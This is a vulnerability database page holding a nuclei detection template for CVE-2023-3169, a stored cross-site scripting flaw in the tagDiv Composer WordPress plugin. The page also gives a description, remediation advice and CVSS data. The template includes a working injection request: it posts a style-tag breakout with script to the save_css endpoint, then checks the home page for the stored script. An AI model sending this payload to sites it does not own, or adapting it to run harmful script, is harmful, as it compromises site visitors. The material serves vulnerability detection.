Lucene search
K

tagDiv Composer < 4.2 - Stored Cross-Site Scripting

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 16 Views

TagDiv Composer earlier than 4.2 has unauthenticated stored XSS via /wp-json/tdw/save_css.

Related
Refs
Code
id: CVE-2023-3169

info:
  name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
  remediation: |
    Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
  reference:
    - https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3169
    epss-score: 0.01595
    epss-percentile: 0.72771
    cwe-id: CWE-79
    cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tagdiv
    product: tagdiv_composer
    fofa-query: body="/wp-content/plugins/td-composer"
  tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/tdw/save_css HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        compiled_css=%3C%2Fstyle%3E<script>console.log({{string}})</script>%3Cstyle%3E

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'tdw-css-placeholder"></style><script>console.log({{string}})</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100869ae1af43a7bdf32944e71d3e139bcb106472b9d37e75a87bc89659eece412b0220242b5aaa0747442a8972543ef3ad94ef37047b18d7aa7f31e972c121cd8de5e8:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation